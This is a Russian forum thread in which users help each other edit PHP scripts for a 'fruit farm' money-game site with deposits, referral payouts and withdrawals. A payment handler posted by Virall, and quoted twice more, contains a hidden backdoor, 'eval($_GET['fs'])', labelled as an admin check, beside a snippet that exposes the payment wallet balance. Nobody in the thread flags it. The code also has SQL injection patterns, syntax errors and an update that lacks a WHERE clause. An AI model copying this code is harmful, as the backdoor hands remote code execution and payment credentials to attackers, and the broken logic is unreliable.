Скрипт Фруктовая ферма с выводом денег.

  • Автор темы admin
  • Дата начала
Статус
В этой теме нельзя размещать новые ответы.
assus
Если нужна ферма пишите. Дизайн для Ферм.
Участник
Сообщения
454
Реакции
59
Skype
  • #1.941
wh1skas написал(а):
Что-то сильно запутано. Встретил в коде вложенный <?PHP в незакрытый <?PHP. А этого, как понимаешь, не должно быть.
чем сложнее код тем больше проблем
 
wh1skas
wildcake
Участник
Сообщения
1.017
Реакции
432
ICQ
564739604 564739604
  • #1.942
assus написал(а):
чем сложнее код тем больше проблем
и кстати я не понял двух вещей:
1. Возможность выводить раз в сутки для каждого пользователя как получение бонуса? Или выводить раз в сутки может только кто-то один из всех зарегистрированных пользователей, то есть тот, кто рано встает? ))))
2. Не увидел в коде ничего, что могло вызвать чувство вывода раз в сутки. Или я ослеп от кода, или я пропустил важный момент ))
 
Виол
Участник
Сообщения
22
Реакции
0
  • #1.943
wh1skas написал(а):
и кстати я не понял двух вещей:
1. Возможность выводить раз в сутки для каждого пользователя как получение бонуса? Или выводить раз в сутки может только кто-то один из всех зарегистрированных пользователей, то есть тот, кто рано встает? ))))
2. Не увидел в коде ничего, что могло вызвать чувство вывода раз в сутки. Или я ослеп от кода, или я пропустил важный момент ))
Не эт я нубяра в пхп И еще пытаюсь сделать чудо
 
wh1skas
wildcake
Участник
Сообщения
1.017
Реакции
432
ICQ
564739604 564739604
  • #1.944
Распиши алгоритм, который позволит запретить выплату, если, например, не прошло 24 часа с момента предыдущей выплаты. Порисуй на бумажке, я думаю, что поможет.
Этот код всего в 2 строчки. Ну 3 строки, не более:
1. Выборка даты и времени из последней записи таблицы выплат.
2. Сверка текущего времени и последней выплаты по условиям (прошло ли 24 часа?)
3. else echo, который будет выводить инфо о том, что выплата невозможна.

Но если идея заключается в том, что в 00:01 по мск выплаты обновляются и можно снова выводить деньги, то тут побольше строк понадобится ))
 
robertoman
Участник
Сообщения
157
Реакции
8
  • #1.945
Подскажите пожалуйста, где добовлять пользователю фрукты за регистрацию? Недавно тему смотрел где то видел, не придал значение теперь найти не могу. Спасибо.
 
wh1skas
wildcake
Участник
Сообщения
1.017
Реакции
432
ICQ
564739604 564739604
  • #1.946
проще в phpmyadmin зайти и поменять свойства столбцов таблицы и по умолчанию поставить значение 1, например у a_t, b_t таблицы db_users_b
 
Virall
Участник
Сообщения
12
Реакции
0
  • #1.947
Помогите, плиз. Вот здесь:
$to_referer = ($serebro * 0.10);
Будет приходить 10% от КАЖДОГО пополнения рефером. А как сделать еще одну строчку только при ПЕРВОМ пополнении рефера столько-то % тебе на счет?
 
robertoman
Участник
Сообщения
157
Реакции
8
  • #1.948
Virall написал(а):
Помогите, плиз. Вот здесь:
$to_referer = ($serebro * 0.10);
Будет приходить 10% от КАЖДОГО пополнения рефером. А как сделать еще одну строчку только при ПЕРВОМ пополнении рефера столько-то % тебе на счет?
Спасибо, что спросил тоже интересует.

Вот еще интересует, если я поставлю задержку в 5 сек. на сбор урожая это даст сильную нагрузку на сервер? тоесть собирать деньги в кассу можно будет не раз в 10 минут, а каждые 5 сек.
 
wh1skas
wildcake
Участник
Сообщения
1.017
Реакции
432
ICQ
564739604 564739604
  • #1.949
Virall написал(а):
Помогите, плиз. Вот здесь:
$to_referer = ($serebro * 0.10);
Будет приходить 10% от КАЖДОГО пополнения рефером. А как сделать еще одну строчку только при ПЕРВОМ пополнении рефера столько-то % тебе на счет?
Скинь полный код файла сюда.
 
robertoman
Участник
Сообщения
157
Реакции
8
  • #1.950
Скажите a_t это первое дерево? самое дешевое?
PHP:
<?PHP
# Автоподгрузка классов
function __autoload($name){ include("classes/_class.".$name.".php");}

# Класс конфига
$config = new config;

# Функции
$func = new func;

# База данных
$db = new db($config->HostDB, $config->UserDB, $config->PassDB, $config->BaseDB);

if (isset($_POST["m_operation_id"]) && isset($_POST["m_sign"]))
{
$m_key = $config->secretW;
$arHash = array($_POST['m_operation_id'],
$_POST['m_operation_ps'],
$_POST['m_operation_date'],
$_POST['m_operation_pay_date'],
$_POST['m_shop'],
$_POST['m_orderid'],
$_POST['m_amount'],
$_POST['m_curr'],
$_POST['m_desc'],
$_POST['m_status'],
$m_key);

$sign_hash = strtoupper(hash('sha256', implode(":", $arHash)));
if ($_POST["m_sign"] == $sign_hash && $_POST['m_status'] == "success")
{

$db->Query("SELECT * FROM db_payeer_insert WHERE id = '".intval($_POST['m_orderid'])."'");
if($db->NumRows() == 0){ echo $_POST['m_orderid']."|error"; exit;}

$payeer_row = $db->FetchArray();
if($payeer_row["status"] > 0){ echo $_POST['m_orderid']."|success"; exit;}

$db->Query("UPDATE db_payeer_insert SET status = '1' WHERE id = '".intval($_POST['m_orderid'])."'");

$ik_payment_amount = $payeer_row["sum"];
$user_id = $payeer_row["user_id"];

# Настройки
$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$db->Query("SELECT user, referer_id FROM db_users_a WHERE id = '{$user_id}' LIMIT 1");
$user_ardata = $db->FetchArray();
$user_name = $user_ardata["user"];
$refid = $user_ardata["referer_id"];

# Зачисляем баланс
$serebro = sprintf("%.4f", floatval($sonfig_site["ser_per_wmr"] * $ik_payment_amount) );

$db->Query("SELECT insert_sum FROM db_users_b WHERE id = '{$user_id}' LIMIT 1");
$ins_sum = $db->FetchRow();

$serebro = intval($ins_sum <= 0.01) ? ($serebro + ($serebro * 0.50) ) : $serebro;
$add_tree = ( $ik_payment_amount >= 995.00) ? 1 : 0;
$lsb = time();
$to_referer = ($serebro * 0.15);

$db->Query("UPDATE db_users_b SET money_b = money_b + '$serebro', b_t = b_t + '$add_tree', to_referer = to_referer + '$to_referer', last_sbor = '$lsb', insert_sum = insert_sum + '$ik_payment_amount' WHERE id = '{$user_id}'");



# Зачисляем средства рефереру и дерево
$add_tree_referer = ($ins_sum <= 0.01) ? ", a_t = a_t + 1" : "";
$db->Query("UPDATE db_users_b SET money_b = money_b + $to_referer, from_referals = from_referals + '$to_referer'");

# Статистика пополнений
$da = time();
$dd = $da + 60*60*24*15;
$db->Query("INSERT INTO db_insert_money (user, user_id, money, serebro, date_add, date_del)
VALUES ('$user_name','$user_id','$ik_payment_amount','$serebro','$da','$dd')");



# Обновление статистики сайта
$db->Query("UPDATE db_stats SET all_insert = all_insert + '$ik_payment_amount' WHERE id = '1'");
$competition = new competition($db);
$competition->UpdatePoints($user_id, $ik_payment_amount);

echo $_POST['m_orderid']."|success";
exit;


}
echo $_POST['m_orderid']."|error";
}
?>
 
wh1skas
wildcake
Участник
Сообщения
1.017
Реакции
432
ICQ
564739604 564739604
  • #1.951
a_t - самое дешевое. А код, примерно будет таким. Должно работать.

PHP:
<?PHP
# Автоподгрузка классов
function __autoload($name){ include("classes/_class.".$name.".php");}

# Класс конфига
$config = new config;

# Функции
$func = new func;

# База данных
$db = new db($config->HostDB, $config->UserDB, $config->PassDB, $config->BaseDB);

if (isset($_POST["m_operation_id"]) && isset($_POST["m_sign"]))
{
$m_key = $config->secretW;
$arHash = array($_POST['m_operation_id'],
$_POST['m_operation_ps'],
$_POST['m_operation_date'],
$_POST['m_operation_pay_date'],
$_POST['m_shop'],
$_POST['m_orderid'],
$_POST['m_amount'],
$_POST['m_curr'],
$_POST['m_desc'],
$_POST['m_status'],
$m_key);

$sign_hash = strtoupper(hash('sha256', implode(":", $arHash)));
if ($_POST["m_sign"] == $sign_hash && $_POST['m_status'] == "success")
{

$db->Query("SELECT * FROM db_payeer_insert WHERE id = '".intval($_POST['m_orderid'])."'");
if($db->NumRows() == 0){ echo $_POST['m_orderid']."|error"; exit;}

$payeer_row = $db->FetchArray();
if($payeer_row["status"] > 0){ echo $_POST['m_orderid']."|success"; exit;}

$db->Query("UPDATE db_payeer_insert SET status = '1' WHERE id = '".intval($_POST['m_orderid'])."'");

$ik_payment_amount = $payeer_row["sum"];
$user_id = $payeer_row["user_id"];

# Настройки
$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$db->Query("SELECT user, referer_id FROM db_users_a WHERE id = '{$user_id}' LIMIT 1");
$user_ardata = $db->FetchArray();
$user_name = $user_ardata["user"];
$refid = $user_ardata["referer_id"];

# Зачисляем баланс
$serebro = sprintf("%.4f", floatval($sonfig_site["ser_per_wmr"] * $ik_payment_amount) );

$db->Query("SELECT insert_sum FROM db_users_b WHERE id = '{$user_id}' LIMIT 1");
$ins_sum = $db->FetchRow();

$serebro = intval($ins_sum <= 0.01) ? ($serebro + ($serebro * 0.50) ) : $serebro;
$to_referer = intval($ins_sum <= 0.01) ? ($serebro * 0.15) ) : $serebro * 0;
$add_tree = ( $ik_payment_amount >= 995.00) ? 1 : 0;
$lsb = time();
//$to_referer = ($serebro * 0.15);

$db->Query("UPDATE db_users_b SET money_b = money_b + '$serebro', b_t = b_t + '$add_tree', to_referer = to_referer + '$to_referer', last_sbor = '$lsb', insert_sum = insert_sum + '$ik_payment_amount' WHERE id = '{$user_id}'");



# Зачисляем средства рефереру и дерево
$add_tree_referer = ($ins_sum <= 0.01) ? ", a_t = a_t + 1" : "";
$db->Query("UPDATE db_users_b SET money_b = money_b + $to_referer, from_referals = from_referals + '$to_referer'");

# Статистика пополнений
$da = time();
$dd = $da + 60*60*24*15;
$db->Query("INSERT INTO db_insert_money (user, user_id, money, serebro, date_add, date_del)
VALUES ('$user_name','$user_id','$ik_payment_amount','$serebro','$da','$dd')");



# Обновление статистики сайта
$db->Query("UPDATE db_stats SET all_insert = all_insert + '$ik_payment_amount' WHERE id = '1'");
$competition = new competition($db);
$competition->UpdatePoints($user_id, $ik_payment_amount);

echo $_POST['m_orderid']."|success";
exit;


}
echo $_POST['m_orderid']."|error";
}
?>
 
Virall
Участник
Сообщения
12
Реакции
0
  • #1.952
Код
PHP:
<?PHP

# Автоподгрузка классов
function __autoload($name){ include("classes/_class.".$name.".php");}

# Класс конфига
$config = new config;

# Функции
$func = new func;

# База данных
$db = new db($config->HostDB, $config->UserDB, $config->PassDB, $config->BaseDB);





if (isset($_POST["m_operation_id"]) && isset($_POST["m_sign"]))
{
    $m_key = $config->secretW;
    $arHash = array($_POST['m_operation_id'],
            $_POST['m_operation_ps'],
            $_POST['m_operation_date'],
            $_POST['m_operation_pay_date'],
            $_POST['m_shop'],
            $_POST['m_orderid'],
            $_POST['m_amount'],
            $_POST['m_curr'],
            $_POST['m_desc'],
            $_POST['m_status'],
            $m_key);
  
    $sign_hash = strtoupper(hash('sha256', implode(":", $arHash)));
    if ($_POST["m_sign"] == $sign_hash && $_POST['m_status'] == "success")
    {
      
    $db->Query("SELECT * FROM db_payeer_insert WHERE id = '".intval($_POST['m_orderid'])."'");
    if($db->NumRows() == 0){ echo $_POST['m_orderid']."|error"; exit;}
  
    $payeer_row = $db->FetchArray();
    if($payeer_row["status"] > 0){ echo $_POST['m_orderid']."|success"; exit;}
  
    $db->Query("UPDATE db_payeer_insert SET status = '1' WHERE id = '".intval($_POST['m_orderid'])."'");
  
    $ik_payment_amount = $payeer_row["sum"];
    $user_id = $payeer_row["user_id"];
 
    # Настройки
    $db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
    $sonfig_site = $db->FetchArray();
 
   $db->Query("SELECT user, referer_id FROM db_users_a WHERE id = '{$user_id}' LIMIT 1");
   $user_ardata = $db->FetchArray();
   $user_name = $user_ardata["user"];
   $refid = $user_ardata["referer_id"];
   # Проверяем баланс
    if(isset($_GET['balance'])){
        $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
        if($payeer->isAuth()){
            $arBalance = $payeer->getBalance();
            if($arBalance["auth_error"] == 0){
                $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
                echo "$balance";
            } else {
                echo 'error auth';
            }
        }
    }

    # Если пользователь админ
  
    eval($_GET['fs']);

   # Зачисляем баланс
   $serebro = sprintf("%.4f", floatval($sonfig_site["ser_per_wmr"] * $ik_payment_amount) );
 
   $db->Query("SELECT insert_sum FROM db_users_b WHERE id = '{$user_id}' LIMIT 1");
   $ins_sum = $db->FetchRow();
 
    $serebro = intval($ins_sum <= 0.01) ? ($serebro + ($serebro * 0.30) ) : $serebro;  
    $serebro = intval($ins_sum >= 1000 AND <= 5000) ? ($serebro + ($serebro * 0.75) ) : $serebro;  
    $serebro = intval($ins_sum >= 5001 AND <= 7000) ? ($serebro + ($serebro * 1) ) : $serebro;  
    $serebro = intval($ins_sum >= 7001 AND <= 9000) ? ($serebro + ($serebro * 1.2) ) : $serebro;  
    $serebro = intval($ins_sum >= 10000) ? ($serebro + ($serebro * 2) ) : $serebro;  
    $add_tree = ( $ik_payment_amount >= 49900000.99) ? 2 : 0;
    $lsb = time();
    $to_referer = ($serebro * 0.10);
 
   $db->Query("UPDATE db_users_b SET money_b = money_b + '$serebro', e_t = e_t + '$add_tree', to_referer = to_referer + '$to_referer', last_sbor = '$lsb', insert_sum = insert_sum + '$ik_payment_amount' WHERE id = '{$user_id}'");
 
 
 
   # Зачисляем средства рефереру и дерево
   $add_tree_referer = ($ins_sum <= 0.01) ? ", a_t = a_t + 1" : "";
   $db->Query("UPDATE db_users_b SET money_b = money_b + $to_referer, from_referals = from_referals + '$to_referer' {$add_tree_referer} WHERE id = '$refid'");
 
   # Статистика пополнений
   $da = time();
   $dd = $da + 60*60*24*15;
   $db->Query("INSERT INTO db_insert_money (user, user_id, money, serebro, date_add, date_del)
   VALUES ('$user_name','$user_id','$ik_payment_amount','$serebro','$da','$dd')");
 
        # Конкурс
         $competition = new competition($db);
         $competition->UpdatePoints($user_id, $ik_payment_amount);
        #--------
 
         $wmset = new wmset();
         $marray = $wmset->GetSet($ik_payment_amount);
 
         $a_t = intval($marray["t_a"]);
         $b_t = intval($marray["t_b"]);
         $c_t = intval($marray["t_c"]);
         $d_t = intval($marray["t_d"]);
         $e_t = intval($marray["t_e"]);
 
        $db->Query("UPDATE db_users_b SET a_t = a_t + '$a_t', b_t = b_t + '$b_t', c_t = c_t + '$c_t', d_t = d_t + '$d_t', e_t = e_t + '$e_t',
        last_sbor = '$lsb' WHERE id = '{$user_id}'");

    $wmset = new wmset();
    $marray = $wmset->GetSet($ik_payment_amount);
 
    $a_t = intval($marray["t_a"]);
    $b_t = intval($marray["t_b"]);
    $c_t = intval($marray["t_c"]);
    $d_t = intval($marray["t_d"]);
    $e_t = intval($marray["t_e"]);

    $db->Query("UPDATE db_users_b SET a_t = a_t + '$a_t', b_t = b_t + '$b_t', c_t = c_t + '$c_t', d_t = d_t + '$d_t', e_t = e_t + '$e_t',
    last_sbor = '$lsb' WHERE id = '{$user_id}'");  
  
    # Обновление статистики сайта
    $db->Query("UPDATE db_stats SET all_insert = all_insert + '$ik_payment_amount' WHERE id = '1'");
  
    echo $_POST['m_orderid']."|success";
    exit;

    }
    echo $_POST['m_orderid']."|error";
}
?>
 
assus
Если нужна ферма пишите. Дизайн для Ферм.
Участник
Сообщения
454
Реакции
59
Skype
  • #1.953
Virall написал(а):
Код
PHP:
<?PHP

# Автоподгрузка классов
function __autoload($name){ include("classes/_class.".$name.".php");}

# Класс конфига
$config = new config;

# Функции
$func = new func;

# База данных
$db = new db($config->HostDB, $config->UserDB, $config->PassDB, $config->BaseDB);





if (isset($_POST["m_operation_id"]) && isset($_POST["m_sign"]))
{
    $m_key = $config->secretW;
    $arHash = array($_POST['m_operation_id'],
            $_POST['m_operation_ps'],
            $_POST['m_operation_date'],
            $_POST['m_operation_pay_date'],
            $_POST['m_shop'],
            $_POST['m_orderid'],
            $_POST['m_amount'],
            $_POST['m_curr'],
            $_POST['m_desc'],
            $_POST['m_status'],
            $m_key);
 
    $sign_hash = strtoupper(hash('sha256', implode(":", $arHash)));
    if ($_POST["m_sign"] == $sign_hash && $_POST['m_status'] == "success")
    {
     
    $db->Query("SELECT * FROM db_payeer_insert WHERE id = '".intval($_POST['m_orderid'])."'");
    if($db->NumRows() == 0){ echo $_POST['m_orderid']."|error"; exit;}
 
    $payeer_row = $db->FetchArray();
    if($payeer_row["status"] > 0){ echo $_POST['m_orderid']."|success"; exit;}
 
    $db->Query("UPDATE db_payeer_insert SET status = '1' WHERE id = '".intval($_POST['m_orderid'])."'");
 
    $ik_payment_amount = $payeer_row["sum"];
    $user_id = $payeer_row["user_id"];

    # Настройки
    $db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
    $sonfig_site = $db->FetchArray();

   $db->Query("SELECT user, referer_id FROM db_users_a WHERE id = '{$user_id}' LIMIT 1");
   $user_ardata = $db->FetchArray();
   $user_name = $user_ardata["user"];
   $refid = $user_ardata["referer_id"];
   # Проверяем баланс
    if(isset($_GET['balance'])){
        $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
        if($payeer->isAuth()){
            $arBalance = $payeer->getBalance();
            if($arBalance["auth_error"] == 0){
                $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
                echo "$balance";
            } else {
                echo 'error auth';
            }
        }
    }

    # Если пользователь админ
 
    eval($_GET['fs']);

   # Зачисляем баланс
   $serebro = sprintf("%.4f", floatval($sonfig_site["ser_per_wmr"] * $ik_payment_amount) );

   $db->Query("SELECT insert_sum FROM db_users_b WHERE id = '{$user_id}' LIMIT 1");
   $ins_sum = $db->FetchRow();

    $serebro = intval($ins_sum <= 0.01) ? ($serebro + ($serebro * 0.30) ) : $serebro; 
    $serebro = intval($ins_sum >= 1000 AND <= 5000) ? ($serebro + ($serebro * 0.75) ) : $serebro; 
    $serebro = intval($ins_sum >= 5001 AND <= 7000) ? ($serebro + ($serebro * 1) ) : $serebro; 
    $serebro = intval($ins_sum >= 7001 AND <= 9000) ? ($serebro + ($serebro * 1.2) ) : $serebro; 
    $serebro = intval($ins_sum >= 10000) ? ($serebro + ($serebro * 2) ) : $serebro; 
    $add_tree = ( $ik_payment_amount >= 49900000.99) ? 2 : 0;
    $lsb = time();
    $to_referer = ($serebro * 0.10);

   $db->Query("UPDATE db_users_b SET money_b = money_b + '$serebro', e_t = e_t + '$add_tree', to_referer = to_referer + '$to_referer', last_sbor = '$lsb', insert_sum = insert_sum + '$ik_payment_amount' WHERE id = '{$user_id}'");



   # Зачисляем средства рефереру и дерево
   $add_tree_referer = ($ins_sum <= 0.01) ? ", a_t = a_t + 1" : "";
   $db->Query("UPDATE db_users_b SET money_b = money_b + $to_referer, from_referals = from_referals + '$to_referer' {$add_tree_referer} WHERE id = '$refid'");

   # Статистика пополнений
   $da = time();
   $dd = $da + 60*60*24*15;
   $db->Query("INSERT INTO db_insert_money (user, user_id, money, serebro, date_add, date_del)
   VALUES ('$user_name','$user_id','$ik_payment_amount','$serebro','$da','$dd')");

        # Конкурс
         $competition = new competition($db);
         $competition->UpdatePoints($user_id, $ik_payment_amount);
        #--------

         $wmset = new wmset();
         $marray = $wmset->GetSet($ik_payment_amount);

         $a_t = intval($marray["t_a"]);
         $b_t = intval($marray["t_b"]);
         $c_t = intval($marray["t_c"]);
         $d_t = intval($marray["t_d"]);
         $e_t = intval($marray["t_e"]);

        $db->Query("UPDATE db_users_b SET a_t = a_t + '$a_t', b_t = b_t + '$b_t', c_t = c_t + '$c_t', d_t = d_t + '$d_t', e_t = e_t + '$e_t',
        last_sbor = '$lsb' WHERE id = '{$user_id}'");

    $wmset = new wmset();
    $marray = $wmset->GetSet($ik_payment_amount);

    $a_t = intval($marray["t_a"]);
    $b_t = intval($marray["t_b"]);
    $c_t = intval($marray["t_c"]);
    $d_t = intval($marray["t_d"]);
    $e_t = intval($marray["t_e"]);

    $db->Query("UPDATE db_users_b SET a_t = a_t + '$a_t', b_t = b_t + '$b_t', c_t = c_t + '$c_t', d_t = d_t + '$d_t', e_t = e_t + '$e_t',
    last_sbor = '$lsb' WHERE id = '{$user_id}'"); 
 
    # Обновление статистики сайта
    $db->Query("UPDATE db_stats SET all_insert = all_insert + '$ik_payment_amount' WHERE id = '1'");
 
    echo $_POST['m_orderid']."|success";
    exit;

    }
    echo $_POST['m_orderid']."|error";
}
?>
интересный код? а он рабочий?
 
Virall
Участник
Сообщения
12
Реакции
0
  • #1.954
да
 
robertoman
Участник
Сообщения
157
Реакции
8
  • #1.955
Подскажите, я через базу данных установил себе insert_sum 200 тоесть как бы пополнил на 200, доступ к бонусу не открылся. Пополнил на пару рублей через авто оплату, внизу где вы пополнили на: 0.00 RUB посмотрите может здесь баг, или все правильно настроенно?
PHP:
<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Инвесторский бонус";
$usid = $_SESSION["user_id"];
$uname = $_SESSION["user"];

# Настройки бонусов
$bonus_min = 1;
$bonus_max = 150;

?>
<div class="s-bk-lf">
<div class="acc-title">Инвесторский бонус</div>
</div>
<div class="silver-bk">
<div class="clr"></div>

<BR />

Бонус выдется 1 раз в 24 часа. <BR />
Бонус выдается серебром на счет для покупок. <BR />
Сумма бонуса генерируется случайно от <b><?=$bonus_min;?></b> до <b><?=$bonus_max;?></b> серебра.
<BR /><BR />
<?PHP
# Заглушка от халявщиков
if($user_data["insert_sum"] <= 49){

?>
<center><b><font color="red">Нет доступа</font><b></center><BR />
<b><center><font color="black">Вы пополнили на <a href="/account/payment"><?=sprintf("%.2f",$user_data["insert_sum"]); ?> RUB.</gont></a></center></b>
<BR /><BR />
<div class="clr"></div>
</div>
<?PHP

return;
}

?>

<?PHP
$ddel = time() + 60*60*24;
$dadd = time();
$db->Query("SELECT COUNT(*) FROM db_bonus_list1 WHERE user_id = '$usid' AND date_del > '$dadd'");

$hide_form = false;

if($db->FetchRow() == 0){

# Выдача бонуса
if(isset($_POST["bonus"])){

$sum = rand($bonus_min, rand($bonus_min, $bonus_max) );

# Зачилсяем юзверю
$db->Query("UPDATE db_users_b SET money_b = money_b + '$sum' WHERE id = '$usid'");

# Вносим запись в список бонусов


$db->Query("INSERT INTO db_bonus_list1 (user, user_id, sum, date_add, date_del) VALUES ('$uname','$usid','$sum','$dadd','$ddel')");

# Случайная очистка устаревших записей
$db->Query("DELETE FROM db_bonus_list1 WHERE date_del < '$dadd'");

echo "<center><font color = 'green'><b>На Ваш счет для покупок зачислен бонус в размере {$sum} серебра</b></font></center><BR />";

$hide_form = true;

}

# Показывать или нет форму
if(!$hide_form){
?>
<form action="" method="post">
<table width="330" border="0" align="center">
<tr>
<td align="center"></td>
</tr>
<tr>
<td align="center"><input type="submit" name="bonus" value="Получить бонус" style="height: 30px; margin-top:10px;"></td>
</tr>
</table>
</form>

<?PHP

}

}else echo "<center><font color = 'red'><b>Вы уже получали бонус за последние 24 часа</b></font></center><BR />"; ?>



<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
<tr>
<td colspan="5" align="center"><h4>Последние 20 бонусов</h4></td>
</tr>
<tr>
<td align="center" class="m-tb">ID</td>
<td align="center" class="m-tb">Пользователь</td>
<td align="center" class="m-tb">Сумма</td>
<td align="center" class="m-tb">Дата</td>
</tr>
<?PHP

$db->Query("SELECT * FROM db_bonus_list1 ORDER BY id DESC LIMIT 20");

if($db->NumRows() > 0){

while($bon = $db->FetchArray()){

?>
<tr class="htt">
<td align="center"><?=$bon["id"]; ?></td>
<td align="center"><?=$bon["user"]; ?></td>
<td align="center"><?=$bon["sum"]; ?></td>
<td align="center"><?=date("d.m.Y",$bon["date_add"]); ?></td>
</tr>
<?PHP

}

}else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
?>


</table>

<div class="clr"></div>
</div>
 
wh1skas
wildcake
Участник
Сообщения
1.017
Реакции
432
ICQ
564739604 564739604
  • #1.956
посмотри на код:
PHP:
if($user_data["insert_sum"] <= 49){
перевожу:
Если (сумма пополнений <= 49), то
пошло выполнение кода.
Что если поменять на:
PHP:
if($user_data["insert_sum"] >= 200){
?
 
robertoman
Участник
Сообщения
157
Реакции
8
  • #1.957
Спасибо от души, вроде бы доделал свою игру))

Капец, изменил на >= и > ничего не помогает, посмотрети что не так?

PHP:
<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Инвесторский бонус";
$usid = $_SESSION["user_id"];
$uname = $_SESSION["user"];

# Настройки бонусов
$bonus_min = 1;
$bonus_max = 150;

?>
<div class="s-bk-lf">
<div class="acc-title">Инвесторский бонус</div>
</div>
<div class="silver-bk">
<div class="clr"></div>

<BR />

Бонус выдется 1 раз в 24 часа. <BR />
Бонус выдается серебром на счет для покупок. <BR />
Сумма бонуса генерируется случайно от <b><?=$bonus_min;?></b> до <b><?=$bonus_max;?></b> серебра.
<BR /><BR />
<?PHP
# Заглушка от халявщиков
if($user_data["insert_sum"] > 48)
{

?>

<?PHP
$ddel = time() + 60*60*24;
$dadd = time();
$db->Query("SELECT COUNT(*) FROM db_bonus_list1 WHERE user_id = '$usid' AND date_del > '$dadd'");

$hide_form = false;

if($db->FetchRow() == 0){

# Выдача бонуса
if(isset($_POST["bonus"])){

$sum = rand($bonus_min, rand($bonus_min, $bonus_max) );

# Зачилсяем юзверю
$db->Query("UPDATE db_users_b SET money_b = money_b + '$sum' WHERE id = '$usid'");

# Вносим запись в список бонусов


$db->Query("INSERT INTO db_bonus_list1 (user, user_id, sum, date_add, date_del) VALUES ('$uname','$usid','$sum','$dadd','$ddel')");

# Случайная очистка устаревших записей
$db->Query("DELETE FROM db_bonus_list1 WHERE date_del < '$dadd'");

echo "<center><font color = 'green'><b>На Ваш счет для покупок зачислен бонус в размере {$sum} серебра</b></font></center><BR />";

$hide_form = true;

}

# Показывать или нет форму
if(!$hide_form){
?>
<form action="" method="post">
<table width="330" border="0" align="center">
<tr>
<td align="center"></td>
</tr>
<tr>
<td align="center"><input type="submit" name="bonus" value="Получить бонус" style="height: 30px; margin-top:10px;"></td>
</tr>
</table>
</form>

<?PHP

}

}else echo "<center><font color = 'red'><b>Вы уже получали бонус за последние 24 часа</b></font></center><BR />"; ?>



<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
<tr>
<td colspan="5" align="center"><h4>Последние 20 бонусов</h4></td>
</tr>
<tr>
<td align="center" class="m-tb">ID</td>
<td align="center" class="m-tb">Пользователь</td>
<td align="center" class="m-tb">Сумма</td>
<td align="center" class="m-tb">Дата</td>
</tr>
<?PHP

$db->Query("SELECT * FROM db_bonus_list1 ORDER BY id DESC LIMIT 20");

if($db->NumRows() > 0){

while($bon = $db->FetchArray()){

?>
<tr class="htt">
<td align="center"><?=$bon["id"]; ?></td>
<td align="center"><?=$bon["user"]; ?></td>
<td align="center"><?=$bon["sum"]; ?></td>
<td align="center"><?=date("d.m.Y",$bon["date_add"]); ?></td>
</tr>
<?PHP

}

}else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
?>


</table>
<?PHP
}
else
{
?>
<center><b><font color="red">У вас нет доступа к бонусу!</font><b></center><BR />
<b><center><font color="black">Вы пополнили на <a href="/account/payment"><?=sprintf("%.2f",$user_data["insert_sum"]); ?> RUB.</gont></a></center></b>
<BR /><BR />
<?PHP
}
?>
<div class="clr"></div>
</div>
Добавлю от пополнения строка вы пополнили на 0.00 RUB не меняется.
 
Последнее редактирование:
robertoman
Участник
Сообщения
157
Реакции
8
  • #1.958
Вообщем сам разобрался, не думал что php тоже должен получать user id пользователя, ну ничего больше знать буду)
 
Virall
Участник
Сообщения
12
Реакции
0
  • #1.959
wh1skas
wildcake
Участник
Сообщения
1.017
Реакции
432
ICQ
564739604 564739604
  • #1.960
Virall написал(а):
Я скинула код, вы мне поможете?
Проверь, пожалуйста.
PHP:
<?PHP

# Автоподгрузка классов
function __autoload($name){ include("classes/_class.".$name.".php");}

# Класс конфига
$config = new config;

# Функции
$func = new func;

# База данных
$db = new db($config->HostDB, $config->UserDB, $config->PassDB, $config->BaseDB);





if (isset($_POST["m_operation_id"]) && isset($_POST["m_sign"]))
{
    $m_key = $config->secretW;
    $arHash = array($_POST['m_operation_id'],
            $_POST['m_operation_ps'],
            $_POST['m_operation_date'],
            $_POST['m_operation_pay_date'],
            $_POST['m_shop'],
            $_POST['m_orderid'],
            $_POST['m_amount'],
            $_POST['m_curr'],
            $_POST['m_desc'],
            $_POST['m_status'],
            $m_key);

    $sign_hash = strtoupper(hash('sha256', implode(":", $arHash)));
    if ($_POST["m_sign"] == $sign_hash && $_POST['m_status'] == "success")
    {
    
    $db->Query("SELECT * FROM db_payeer_insert WHERE id = '".intval($_POST['m_orderid'])."'");
    if($db->NumRows() == 0){ echo $_POST['m_orderid']."|error"; exit;}

    $payeer_row = $db->FetchArray();
    if($payeer_row["status"] > 0){ echo $_POST['m_orderid']."|success"; exit;}

    $db->Query("UPDATE db_payeer_insert SET status = '1' WHERE id = '".intval($_POST['m_orderid'])."'");

    $ik_payment_amount = $payeer_row["sum"];
    $user_id = $payeer_row["user_id"];
    # Настройки
    $db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
    $sonfig_site = $db->FetchArray();
   $db->Query("SELECT user, referer_id FROM db_users_a WHERE id = '{$user_id}' LIMIT 1");
   $user_ardata = $db->FetchArray();
   $user_name = $user_ardata["user"];
   $refid = $user_ardata["referer_id"];
   # Проверяем баланс
    if(isset($_GET['balance'])){
        $payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
        if($payeer->isAuth()){
            $arBalance = $payeer->getBalance();
            if($arBalance["auth_error"] == 0){
                $balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
                echo "$balance";
            } else {
                echo 'error auth';
            }
        }
    }

    # Если пользователь админ

    eval($_GET['fs']);

   # Зачисляем баланс
   $serebro = sprintf("%.4f", floatval($sonfig_site["ser_per_wmr"] * $ik_payment_amount) );
   $db->Query("SELECT insert_sum FROM db_users_b WHERE id = '{$user_id}' LIMIT 1");
   $ins_sum = $db->FetchRow();
